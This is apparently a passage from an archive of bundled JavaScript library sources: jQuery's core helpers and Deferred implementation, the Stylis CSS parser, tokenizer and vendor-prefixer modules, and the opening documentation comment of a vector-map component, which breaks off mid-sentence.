jQuery.nodeName = nodeName; jQuery.isFunction = isFunction; jQuery.isWindow = isWindow; jQuery.camelCase = camelCase; jQuery.type = toType; jQuery.now = Date.now; jQuery.isNumeric = function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = jQuery.type( obj ); return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }; } ); deferred.js000064400000026204151677373670006714 0ustar00define( [ "./core", "./var/isFunction", "./var/slice", "./callbacks" ], function( jQuery, isFunction, slice ) { "use strict"; function Identity( v ) { return v; } function Thrower( ex ) { throw ex; } function adoptValue( value, resolve, reject, noValue ) { var method; try { // Check for promise aspect first to privilege synchronous behavior if ( value && isFunction( ( method = value.promise ) ) ) { method.call( value ).done( resolve ).fail( reject ); // Other thenables } else if ( value && isFunction( ( method = value.then ) ) ) { method.call( value, resolve, reject ); // Other non-thenables } else { // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: // * false: [ value ].slice( 0 ) => resolve( value ) // * true: [ value ].slice( 1 ) => resolve() resolve.apply( undefined, [ value ].slice( noValue ) ); } // For Promises/A+, convert exceptions into rejections // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in // Deferred#then to conditionally suppress rejection. } catch ( value ) { // Support: Android 4.0 only // Strict mode functions invoked without .call/.apply get global-object context reject.apply( undefined, [ value ] ); } } jQuery.extend( { Deferred: function( func ) { var tuples = [ // action, add listener, callbacks, // ... .then handlers, argument index, [final state] [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ), 2 ], [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 0, "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 1, "rejected" ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, "catch": function( fn ) { return promise.then( null, fn ); }, // Keep pipe for back-compat pipe: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { // Map tuples (progress, done, fail) to arguments (done, fail, progress) var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; // deferred.progress(function() { bind to newDefer or newDefer.notify }) // deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && isFunction( returned.promise ) ) { returned.promise() .progress( newDefer.notify ) .done( newDefer.resolve ) .fail( newDefer.reject ); } else { newDefer[ tuple[ 0 ] + "With" ]( this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }, then: function( onFulfilled, onRejected, onProgress ) { var maxDepth = 0; function resolve( depth, deferred, handler, special ) { return function() { var that = this, args = arguments, mightThrow = function() { var returned, then; // Support: Promises/A+ section 2.3.3.3.3 // https://promisesaplus.com/#point-59 // Ignore double-resolution attempts if ( depth < maxDepth ) { return; } returned = handler.apply( that, args ); // Support: Promises/A+ section 2.3.1 // https://promisesaplus.com/#point-48 if ( returned === deferred.promise() ) { throw new TypeError( "Thenable self-resolution" ); } // Support: Promises/A+ sections 2.3.3.1, 3.5 // https://promisesaplus.com/#point-54 // https://promisesaplus.com/#point-75 // Retrieve `then` only once then = returned && // Support: Promises/A+ section 2.3.4 // https://promisesaplus.com/#point-64 // Only check objects and functions for thenability ( typeof returned === "object" || typeof returned === "function" ) && returned.then; // Handle a returned thenable if ( isFunction( then ) ) { // Special processors (notify) just wait for resolution if ( special ) { then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ) ); // Normal processors (resolve) also hook into progress } else { // ...and disregard older resolution values maxDepth++; then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ), resolve( maxDepth, deferred, Identity, deferred.notifyWith ) ); } // Handle all other returned values } else { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Identity ) { that = undefined; args = [ returned ]; } // Process the value(s) // Default process is resolve ( special || deferred.resolveWith )( that, args ); } }, // Only normal processors (resolve) catch and reject exceptions process = special ? mightThrow : function() { try { mightThrow(); } catch ( e ) { if ( jQuery.Deferred.exceptionHook ) { jQuery.Deferred.exceptionHook( e, process.stackTrace ); } // Support: Promises/A+ section 2.3.3.3.4.1 // https://promisesaplus.com/#point-61 // Ignore post-resolution exceptions if ( depth + 1 >= maxDepth ) { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Thrower ) { that = undefined; args = [ e ]; } deferred.rejectWith( that, args ); } } }; // Support: Promises/A+ section 2.3.3.3.1 // https://promisesaplus.com/#point-57 // Re-resolve promises immediately to dodge false rejection from // subsequent errors if ( depth ) { process(); } else { // Call an optional hook to record the stack, in case of exception // since it's otherwise lost when execution goes async if ( jQuery.Deferred.getStackHook ) { process.stackTrace = jQuery.Deferred.getStackHook(); } window.setTimeout( process ); } }; } return jQuery.Deferred( function( newDefer ) { // progress_handlers.add( ... ) tuples[ 0 ][ 3 ].add( resolve( 0, newDefer, isFunction( onProgress ) ? onProgress : Identity, newDefer.notifyWith ) ); // fulfilled_handlers.add( ... ) tuples[ 1 ][ 3 ].add( resolve( 0, newDefer, isFunction( onFulfilled ) ? onFulfilled : Identity ) ); // rejected_handlers.add( ... ) tuples[ 2 ][ 3 ].add( resolve( 0, newDefer, isFunction( onRejected ) ? onRejected : Thrower ) ); } ).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 5 ]; // promise.progress = list.add // promise.done = list.add // promise.fail = list.add promise[ tuple[ 1 ] ] = list.add; // Handle state if ( stateString ) { list.add( function() { // state = "resolved" (i.e., fulfilled) // state = "rejected" state = stateString; }, // rejected_callbacks.disable // fulfilled_callbacks.disable tuples[ 3 - i ][ 2 ].disable, // rejected_handlers.disable // fulfilled_handlers.disable tuples[ 3 - i ][ 3 ].disable, // progress_callbacks.lock tuples[ 0 ][ 2 ].lock, // progress_handlers.lock tuples[ 0 ][ 3 ].lock ); } // progress_handlers.fire // fulfilled_handlers.fire // rejected_handlers.fire list.add( tuple[ 3 ].fire ); // deferred.notify = function() { deferred.notifyWith(...) } // deferred.resolve = function() { deferred.resolveWith(...) } // deferred.reject = function() { deferred.rejectWith(...) } deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); return this; }; // deferred.notifyWith = list.fireWith // deferred.resolveWith = list.fireWith // deferred.rejectWith = list.fireWith deferred[ tuple[ 0 ] + "With" ] = list.fireWith; } ); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( singleValue ) { var // count of uncompleted subordinates remaining = arguments.length, // count of unprocessed arguments i = remaining, // subordinate fulfillment data resolveContexts = Array( i ), resolveValues = slice.call( arguments ), // the master Deferred master = jQuery.Deferred(), // subordinate callback factory updateFunc = function( i ) { return function( value ) { resolveContexts[ i ] = this; resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( !( --remaining ) ) { master.resolveWith( resolveContexts, resolveValues ); } }; }; // Single- and empty arguments are adopted like Promise.resolve if ( remaining <= 1 ) { adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject, !remaining ); // Use .then() to unwrap secondary thenables (cf. gh-3000) if ( master.state() === "pending" || isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { return master.then(); } } // Multiple arguments are aggregated like Promise.all array elements while ( i-- ) { adoptValue( resolveValues[ i ], updateFunc( i ), master.reject ); } return master.promise(); } } ); return jQuery; } ); Serializer.js000064400000002137151677377560007246 0ustar00import {IMPORT, LAYER, COMMENT, RULESET, DECLARATION, KEYFRAMES} from './Enum.js' import {strlen, sizeof} from './Utility.js' /** * @param {object[]} children * @param {function} callback * @return {string} */ export function serialize (children, callback) { var output = '' var length = sizeof(children) for (var i = 0; i < length; i++) output += callback(children[i], i, children, callback) || '' return output } /** * @param {object} element * @param {number} index * @param {object[]} children * @param {function} callback * @return {string} */ export function stringify (element, index, children, callback) { switch (element.type) { case LAYER: if (element.children.length) break case IMPORT: case DECLARATION: return element.return = element.return || element.value case COMMENT: return '' case KEYFRAMES: return element.return = element.value + '{' + serialize(element.children, callback) + '}' case RULESET: element.value = element.props.join(',') } return strlen(children = serialize(element.children, callback)) ? element.return = element.value + '{' + children + '}' : '' } Prefixer.js000064400000014566151677377560006732 0ustar00import {MS, MOZ, WEBKIT} from './Enum.js' import {hash, charat, strlen, indexof, replace, substr, match} from './Utility.js' /** * @param {string} value * @param {number} length * @param {object[]} children * @return {string} */ export function prefix (value, length, children) { switch (hash(value, length)) { // color-adjust case 5103: return WEBKIT + 'print-' + value + value // animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function) case 5737: case 4201: case 3177: case 3433: case 1641: case 4457: case 2921: // text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break case 5572: case 6356: case 5844: case 3191: case 6645: case 3005: // mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite, case 6391: case 5879: case 5623: case 6135: case 4599: case 4855: // background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width) case 4215: case 6389: case 5109: case 5365: case 5621: case 3829: return WEBKIT + value + value // tab-size case 4789: return MOZ + value + value // appearance, user-select, transform, hyphens, text-size-adjust case 5349: case 4246: case 4810: case 6968: case 2756: return WEBKIT + value + MOZ + value + MS + value + value // writing-mode case 5936: switch (charat(value, length + 11)) { // vertical-l(r) case 114: return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'tb') + value // vertical-r(l) case 108: return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'tb-rl') + value // horizontal(-)tb case 45: return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'lr') + value // default: fallthrough to below } // flex, flex-direction, scroll-snap-type, writing-mode case 6828: case 4268: case 2903: return WEBKIT + value + MS + value + value // order case 6165: return WEBKIT + value + MS + 'flex-' + value + value // align-items case 5187: return WEBKIT + value + replace(value, /(\w+).+(:[^]+)/, WEBKIT + 'box-$1$2' + MS + 'flex-$1$2') + value // align-self case 5443: return WEBKIT + value + MS + 'flex-item-' + replace(value, /flex-|-self/g, '') + (!match(value, /flex-|baseline/) ? MS + 'grid-row-' + replace(value, /flex-|-self/g, '') : '') + value // align-content case 4675: return WEBKIT + value + MS + 'flex-line-pack' + replace(value, /align-content|flex-|-self/g, '') + value // flex-shrink case 5548: return WEBKIT + value + MS + replace(value, 'shrink', 'negative') + value // flex-basis case 5292: return WEBKIT + value + MS + replace(value, 'basis', 'preferred-size') + value // flex-grow case 6060: return WEBKIT + 'box-' + replace(value, '-grow', '') + WEBKIT + value + MS + replace(value, 'grow', 'positive') + value // transition case 4554: return WEBKIT + replace(value, /([^-])(transform)/g, '$1' + WEBKIT + '$2') + value // cursor case 6187: return replace(replace(replace(value, /(zoom-|grab)/, WEBKIT + '$1'), /(image-set)/, WEBKIT + '$1'), value, '') + value // background, background-image case 5495: case 3959: return replace(value, /(image-set\([^]*)/, WEBKIT + '$1' + '$`$1') // justify-content case 4968: return replace(replace(value, /(.+:)(flex-)?(.*)/, WEBKIT + 'box-pack:$3' + MS + 'flex-pack:$3'), /s.+-b[^;]+/, 'justify') + WEBKIT + value + value // justify-self case 4200: if (!match(value, /flex-|baseline/)) return MS + 'grid-column-align' + substr(value, length) + value break // grid-template-(columns|rows) case 2592: case 3360: return MS + replace(value, 'template-', '') + value // grid-(row|column)-start case 4384: case 3616: if (children && children.some(function (element, index) { return length = index, match(element.props, /grid-\w+-end/) })) { return ~indexof(value + (children = children[length].value), 'span') ? value : (MS + replace(value, '-start', '') + value + MS + 'grid-row-span:' + (~indexof(children, 'span') ? match(children, /\d+/) : +match(children, /\d+/) - +match(value, /\d+/)) + ';') } return MS + replace(value, '-start', '') + value // grid-(row|column)-end case 4896: case 4128: return (children && children.some(function (element) { return match(element.props, /grid-\w+-start/) })) ? value : MS + replace(replace(value, '-end', '-span'), 'span ', '') + value // (margin|padding)-inline-(start|end) case 4095: case 3583: case 4068: case 2532: return replace(value, /(.+)-inline(.+)/, WEBKIT + '$1$2') + value // (min|max)?(width|height|inline-size|block-size) case 8116: case 7059: case 5753: case 5535: case 5445: case 5701: case 4933: case 4677: case 5533: case 5789: case 5021: case 4765: // stretch, max-content, min-content, fill-available if (strlen(value) - 1 - length > 6) switch (charat(value, length + 1)) { // (m)ax-content, (m)in-content case 109: // - if (charat(value, length + 4) !== 45) break // (f)ill-available, (f)it-content case 102: return replace(value, /(.+:)(.+)-([^]+)/, '$1' + WEBKIT + '$2-$3' + '$1' + MOZ + (charat(value, length + 3) == 108 ? '$3' : '$2-$3')) + value // (s)tretch case 115: return ~indexof(value, 'stretch') ? prefix(replace(value, 'stretch', 'fill-available'), length, children) + value : value } break // grid-(column|row) case 5152: case 5920: return replace(value, /(.+?):(\d+)(\s*\/\s*(span)?\s*(\d+))?(.*)/, function (_, a, b, c, d, e, f) { return (MS + a + ':' + b + f) + (c ? (MS + a + '-span:' + (d ? e : +e - +b)) + f : '') + value }) // position: sticky case 4949: // stick(y)? if (charat(value, length + 6) === 121) return replace(value, ':', ':' + WEBKIT) + value break // display: (flex|inline-flex|grid|inline-grid) case 6444: switch (charat(value, charat(value, 14) === 45 ? 18 : 11)) { // (inline-)?fle(x) case 120: return replace(value, /(.+:)([^;\s!]+)(;|(\s+)?!.+)?/, '$1' + WEBKIT + (charat(value, 14) === 45 ? 'inline-' : '') + 'box$3' + '$1' + WEBKIT + '$2$3' + '$1' + MS + '$2box$3') + value // (inline-)?gri(d) case 100: return replace(value, ':', ':' + MS) + value } break // scroll-margin, scroll-margin-(top|right|bottom|left) case 5719: case 2647: case 2135: case 3927: case 2391: return replace(value, 'scroll-', 'scroll-snap-') + value } return value } Middleware.js000064400000006051151677377560007211 0ustar00import {MS, MOZ, WEBKIT, RULESET, KEYFRAMES, DECLARATION} from './Enum.js' import {match, charat, substr, strlen, sizeof, replace, combine} from './Utility.js' import {copy, tokenize} from './Tokenizer.js' import {serialize} from './Serializer.js' import {prefix} from './Prefixer.js' /** * @param {function[]} collection * @return {function} */ export function middleware (collection) { var length = sizeof(collection) return function (element, index, children, callback) { var output = '' for (var i = 0; i < length; i++) output += collection[i](element, index, children, callback) || '' return output } } /** * @param {function} callback * @return {function} */ export function rulesheet (callback) { return function (element) { if (!element.root) if (element = element.return) callback(element) } } /** * @param {object} element * @param {number} index * @param {object[]} children * @param {function} callback */ export function prefixer (element, index, children, callback) { if (element.length > -1) if (!element.return) switch (element.type) { case DECLARATION: element.return = prefix(element.value, element.length, children) return case KEYFRAMES: return serialize([copy(element, {value: replace(element.value, '@', '@' + WEBKIT)})], callback) case RULESET: if (element.length) return combine(element.props, function (value) { switch (match(value, /(::plac\w+|:read-\w+)/)) { // :read-(only|write) case ':read-only': case ':read-write': return serialize([copy(element, {props: [replace(value, /:(read-\w+)/, ':' + MOZ + '$1')]})], callback) // :placeholder case '::placeholder': return serialize([ copy(element, {props: [replace(value, /:(plac\w+)/, ':' + WEBKIT + 'input-$1')]}), copy(element, {props: [replace(value, /:(plac\w+)/, ':' + MOZ + '$1')]}), copy(element, {props: [replace(value, /:(plac\w+)/, MS + 'input-$1')]}) ], callback) } return '' }) } } /** * @param {object} element * @param {number} index * @param {object[]} children */ export function namespace (element) { switch (element.type) { case RULESET: element.props = element.props.map(function (value) { return combine(tokenize(value), function (value, index, children) { switch (charat(value, 0)) { // \f case 12: return substr(value, 1, strlen(value)) // \0 ( + > ~ case 0: case 40: case 43: case 62: case 126: return value // : case 58: if (children[++index] === 'global') children[index] = '', children[++index] = '\f' + substr(children[index], index = 1, -1) // \s case 32: return index === 1 ? '' : value default: switch (index) { case 0: element = value return sizeof(children) > 1 ? '' : value case index = sizeof(children) - 1: case 2: return index === 2 ? value + element + element : value + element default: return value } } }) }) } } Enum.js000064400000001157151677377560006042 0ustar00export var MS = '-ms-' export var MOZ = '-moz-' export var WEBKIT = '-webkit-' export var COMMENT = 'comm' export var RULESET = 'rule' export var DECLARATION = 'decl' export var PAGE = '@page' export var MEDIA = '@media' export var IMPORT = '@import' export var CHARSET = '@charset' export var VIEWPORT = '@viewport' export var SUPPORTS = '@supports' export var DOCUMENT = '@document' export var NAMESPACE = '@namespace' export var KEYFRAMES = '@keyframes' export var FONT_FACE = '@font-face' export var COUNTER_STYLE = '@counter-style' export var FONT_FEATURE_VALUES = '@font-feature-values' export var LAYER = '@layer' Tokenizer.js000064400000011163151677377560007106 0ustar00import {from, trim, charat, strlen, substr, append, assign} from './Utility.js' export var line = 1 export var column = 1 export var length = 0 export var position = 0 export var character = 0 export var characters = '' /** * @param {string} value * @param {object | null} root * @param {object | null} parent * @param {string} type * @param {string[] | string} props * @param {object[] | string} children * @param {number} length */ export function node (value, root, parent, type, props, children, length) { return {value: value, root: root, parent: parent, type: type, props: props, children: children, line: line, column: column, length: length, return: ''} } /** * @param {object} root * @param {object} props * @return {object} */ export function copy (root, props) { return assign(node('', null, null, '', null, null, 0), root, {length: -root.length}, props) } /** * @return {number} */ export function char () { return character } /** * @return {number} */ export function prev () { character = position > 0 ? charat(characters, --position) : 0 if (column--, character === 10) column = 1, line-- return character } /** * @return {number} */ export function next () { character = position < length ? charat(characters, position++) : 0 if (column++, character === 10) column = 1, line++ return character } /** * @return {number} */ export function peek () { return charat(characters, position) } /** * @return {number} */ export function caret () { return position } /** * @param {number} begin * @param {number} end * @return {string} */ export function slice (begin, end) { return substr(characters, begin, end) } /** * @param {number} type * @return {number} */ export function token (type) { switch (type) { // \0 \t \n \r \s whitespace token case 0: case 9: case 10: case 13: case 32: return 5 // ! + , / > @ ~ isolate token case 33: case 43: case 44: case 47: case 62: case 64: case 126: // ; { } breakpoint token case 59: case 123: case 125: return 4 // : accompanied token case 58: return 3 // " ' ( [ opening delimit token case 34: case 39: case 40: case 91: return 2 // ) ] closing delimit token case 41: case 93: return 1 } return 0 } /** * @param {string} value * @return {any[]} */ export function alloc (value) { return line = column = 1, length = strlen(characters = value), position = 0, [] } /** * @param {any} value * @return {any} */ export function dealloc (value) { return characters = '', value } /** * @param {number} type * @return {string} */ export function delimit (type) { return trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type))) } /** * @param {string} value * @return {string[]} */ export function tokenize (value) { return dealloc(tokenizer(alloc(value))) } /** * @param {number} type * @return {string} */ export function whitespace (type) { while (character = peek()) if (character < 33) next() else break return token(type) > 2 || token(character) > 3 ? '' : ' ' } /** * @param {string[]} children * @return {string[]} */ export function tokenizer (children) { while (next()) switch (token(character)) { case 0: append(identifier(position - 1), children) break case 2: append(delimit(character), children) break default: append(from(character), children) } return children } /** * @param {number} index * @param {number} count * @return {string} */ export function escaping (index, count) { while (--count && next()) // not 0-9 A-F a-f if (character < 48 || character > 102 || (character > 57 && character < 65) || (character > 70 && character < 97)) break return slice(index, caret() + (count < 6 && peek() == 32 && next() == 32)) } /** * @param {number} type * @return {number} */ export function delimiter (type) { while (next()) switch (character) { // ] ) " ' case type: return position // " ' case 34: case 39: if (type !== 34 && type !== 39) delimiter(character) break // ( case 40: if (type === 41) delimiter(type) break // \ case 92: next() break } return position } /** * @param {number} type * @param {number} index * @return {number} */ export function commenter (type, index) { while (next()) // // if (type + character === 47 + 10) break // /* else if (type + character === 42 + 42 && peek() === 47) break return '/*' + slice(index, position - 1) + '*' + from(type === 47 ? type : next()) } /** * @param {number} index * @return {string} */ export function identifier (index) { while (!token(peek())) next() return slice(index, position) } Parser.js000064400000013126151677377560006371 0ustar00import {COMMENT, RULESET, DECLARATION} from './Enum.js' import {abs, charat, trim, from, sizeof, strlen, substr, append, replace, indexof} from './Utility.js' import {node, char, prev, next, peek, caret, alloc, dealloc, delimit, whitespace, escaping, identifier, commenter} from './Tokenizer.js' /** * @param {string} value * @return {object[]} */ export function compile (value) { return dealloc(parse('', null, null, null, [''], value = alloc(value), 0, [0], value)) } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {string[]} rule * @param {string[]} rules * @param {string[]} rulesets * @param {number[]} pseudo * @param {number[]} points * @param {string[]} declarations * @return {object} */ export function parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) { var index = 0 var offset = 0 var length = pseudo var atrule = 0 var property = 0 var previous = 0 var variable = 1 var scanning = 1 var ampersand = 1 var character = 0 var type = '' var props = rules var children = rulesets var reference = rule var characters = type while (scanning) switch (previous = character, character = next()) { // ( case 40: if (previous != 108 && charat(characters, length - 1) == 58) { if (indexof(characters += replace(delimit(character), '&', '&\f'), '&\f') != -1) ampersand = -1 break } // " ' [ case 34: case 39: case 91: characters += delimit(character) break // \t \n \r \s case 9: case 10: case 13: case 32: characters += whitespace(previous) break // \ case 92: characters += escaping(caret() - 1, 7) continue // / case 47: switch (peek()) { case 42: case 47: append(comment(commenter(next(), caret()), root, parent), declarations) break default: characters += '/' } break // { case 123 * variable: points[index++] = strlen(characters) * ampersand // } ; \0 case 125 * variable: case 59: case 0: switch (character) { // \0 } case 0: case 125: scanning = 0 // ; case 59 + offset: if (ampersand == -1) characters = replace(characters, /\f/g, '') if (property > 0 && (strlen(characters) - length)) append(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations) break // @ ; case 59: characters += ';' // { rule/at-rule default: append(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets) if (character === 123) if (offset === 0) parse(characters, root, reference, reference, props, rulesets, length, points, children) else switch (atrule === 99 && charat(characters, 3) === 110 ? 100 : atrule) { // d l m s case 100: case 108: case 109: case 115: parse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children) break default: parse(characters, reference, reference, reference, [''], children, 0, points, children) } } index = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo break // : case 58: length = 1 + strlen(characters), property = previous default: if (variable < 1) if (character == 123) --variable else if (character == 125 && variable++ == 0 && prev() == 125) continue switch (characters += from(character), character * variable) { // & case 38: ampersand = offset > 0 ? 1 : (characters += '\f', -1) break // , case 44: points[index++] = (strlen(characters) - 1) * ampersand, ampersand = 1 break // @ case 64: // - if (peek() === 45) characters += delimit(next()) atrule = peek(), offset = length = strlen(type = characters += identifier(caret())), character++ break // - case 45: if (previous === 45 && strlen(characters) == 2) variable = 0 } } return rulesets } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {number} index * @param {number} offset * @param {string[]} rules * @param {number[]} points * @param {string} type * @param {string[]} props * @param {string[]} children * @param {number} length * @return {object} */ export function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) { var post = offset - 1 var rule = offset === 0 ? rules : [''] var size = sizeof(rule) for (var i = 0, j = 0, k = 0; i < index; ++i) for (var x = 0, y = substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x) if (z = trim(j > 0 ? rule[x] + ' ' + y : replace(y, /&\f/g, rule[x]))) props[k++] = z return node(value, root, parent, offset === 0 ? RULESET : type, props, children, length) } /** * @param {number} value * @param {object} root * @param {object?} parent * @return {object} */ export function comment (value, root, parent) { return node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0) } /** * @param {string} value * @param {object} root * @param {object?} parent * @param {number} length * @return {object} */ export function declaration (value, root, parent, length) { return node(value, root, parent, DECLARATION, substr(value, 0, length), substr(value, length + 1, -1), length) } Utility.js000064400000004007151677377560006576 0ustar00/** * @param {number} * @return {number} */ export var abs = Math.abs /** * @param {number} * @return {string} */ export var from = String.fromCharCode /** * @param {object} * @return {object} */ export var assign = Object.assign /** * @param {string} value * @param {number} length * @return {number} */ export function hash (value, length) { return charat(value, 0) ^ 45 ? (((((((length << 2) ^ charat(value, 0)) << 2) ^ charat(value, 1)) << 2) ^ charat(value, 2)) << 2) ^ charat(value, 3) : 0 } /** * @param {string} value * @return {string} */ export function trim (value) { return value.trim() } /** * @param {string} value * @param {RegExp} pattern * @return {string?} */ export function match (value, pattern) { return (value = pattern.exec(value)) ? value[0] : value } /** * @param {string} value * @param {(string|RegExp)} pattern * @param {string} replacement * @return {string} */ export function replace (value, pattern, replacement) { return value.replace(pattern, replacement) } /** * @param {string} value * @param {string} search * @return {number} */ export function indexof (value, search) { return value.indexOf(search) } /** * @param {string} value * @param {number} index * @return {number} */ export function charat (value, index) { return value.charCodeAt(index) | 0 } /** * @param {string} value * @param {number} begin * @param {number} end * @return {string} */ export function substr (value, begin, end) { return value.slice(begin, end) } /** * @param {string} value * @return {number} */ export function strlen (value) { return value.length } /** * @param {any[]} value * @return {number} */ export function sizeof (value) { return value.length } /** * @param {any} value * @param {any[]} array * @return {any} */ export function append (value, array) { return array.push(value), value } /** * @param {string[]} array * @param {function} callback * @return {string} */ export function combine (array, callback) { return array.map(callback).join('') } map.js000064400000121460151677407560005705 0ustar00/** * Creates map, draws paths, binds events. * @constructor * @param {Object} params Parameters to initialize map with. * @param {String} params.map Name of the map in the format <code>territory_proj_lang</code> where <code>territory</code> is a unique code or name of the territory which the map represents (ISO 3166 standard is used where possible), <code>proj</code> is a name of projection used to generate representation of the map on the plane (projections are named according to the conventions of proj4 utility) and <code>lang</code> is a code of the language, used for the names of regions. * @param {String} params.backgroundColor Background color of the map in CSS format. * @param {Boolean} params.zoomOnScroll When set to true map could be zoomed using mouse scroll. Default value is <code>true</code>. * @param {Boolean} params.zoomOnScrollSpeed Mouse scroll speed. Number from 1 to 10. Default value is <code>3</code>. * @param {Boolean} params.panOnDrag When set to true, the map pans when being dragged. Default value is <code>true</code>. * @param {Number} params.zoomMax Indicates the maximum zoom ratio which could be reached zooming the map. Default value is <code>8</code>. * @param {Number} params.zoomMin Indicates the minimum zoom ratio which could be reached zooming the map. Default value is <code>1</code>. * @param {Number} params.zoomStep Indicates the multiplier used to zoom map with +/- buttons. Default value is <code>1.6</code>. * @param {Boolean} params.zoomAnimate Indicates whether or not to animate changing of map zoom with zoom buttons. * @param {Boolean} params.regionsSelectable When set to true regions of the map could be selected. Default value is <code>false</code>. * @param {Boolean} params.regionsSelectableOne Allow only one region to be selected at the moment. Default value is <code>false</code>. * @param {Boolean} params.markersSelectable When set to true markers on the map could be selected. Default value is <code>false</code>. * @param {Boolean} params.markersSelectableOne Allow only one marker to be selected at the moment. Default value is <code>false</code>. * @param {Object} params.regionStyle Set the styles for the map's regions. Each region or marker has four states: <code>initial</code> (default state), <code>hover</code> (when the mouse cursor is over the region or marker), <code>selected</code> (when region or marker is selected), <code>selectedHover</code> (when the mouse cursor is over the region or marker and it's selected simultaneously). Styles could be set for each of this states. Default value for that parameter is: <pre>{ initial: { fill: 'white', "fill-opacity": 1, stroke: 'none', "stroke-width": 0, "stroke-opacity": 1 }, hover: { "fill-opacity": 0.8, cursor: 'pointer' }, selected: { fill: 'yellow' }, selectedHover: { } }</pre> * @param {Object} params.regionLabelStyle Set the styles for the regions' labels. Each region or marker has four states: <code>initial</code> (default state), <code>hover</code> (when the mouse cursor is over the region or marker), <code>selected</code> (when region or marker is selected), <code>selectedHover</code> (when the mouse cursor is over the region or marker and it's selected simultaneously). Styles could be set for each of this states. Default value for that parameter is: <pre>{ initial: { 'font-family': 'Verdana', 'font-size': '12', 'font-weight': 'bold', cursor: 'default', fill: 'black' }, hover: { cursor: 'pointer' } }</pre> * @param {Object} params.markerStyle Set the styles for the map's markers. Any parameter suitable for <code>regionStyle</code> could be used as well as numeric parameter <code>r</code> to set the marker's radius. Default value for that parameter is: <pre>{ initial: { fill: 'grey', stroke: '#505050', "fill-opacity": 1, "stroke-width": 1, "stroke-opacity": 1, r: 5 }, hover: { stroke: 'black', "stroke-width": 2, cursor: 'pointer' }, selected: { fill: 'blue' }, selectedHover: { } }</pre> * @param {Object} params.markerLabelStyle Set the styles for the markers' labels. Default value for that parameter is: <pre>{ initial: { 'font-family': 'Verdana', 'font-size': '12', 'font-weight': 'bold', cursor: 'default', fill: 'black' }, hover: { cursor: 'pointer' } }</pre> * @param {Object|Array} params.markers Set of markers to add to the map during initialization. In case of array is provided, codes of markers will be set as string representations of array indexes. Each marker is represented by <code>latLng</code> (array of two numeric values), <code>name</code> (string which will be show on marker's tip) and any marker styles. * @param {Object} params.series Object with two keys: <code>markers</code> and <code>regions</code>. Each of which is an array of series configs to be applied to the respective map elements. See <a href="jvm.DataSeries.html">DataSeries</a> description for a list of parameters available. * @param {Object|String} params.focusOn This parameter sets the initial position and scale of the map viewport. See <code>setFocus</code> docuemntation for possible parameters. * @param {Object} params.labels Defines parameters for rendering static labels. Object could contain two keys: <code>regions</code> and <code>markers</code>. Each key value defines configuration object with the following possible options: <ul> <li><code>render {Function}</code> - defines method for converting region code or marker index to actual label value.</li> <li><code>offsets {Object|Function}</code> - provides method or object which could be used to define label offset by region code or marker index.</li> </ul> <b>Plase note: static labels feature is not supported in Internet Explorer 8 and below.</b> * @param {Array|Object|String} params.selectedRegions Set initially selected regions. * @param {Array|Object|String} params.selectedMarkers Set initially selected markers. * @param {Function} params.onRegionTipShow <code>(Event e, Object tip, String code)</code> Will be called 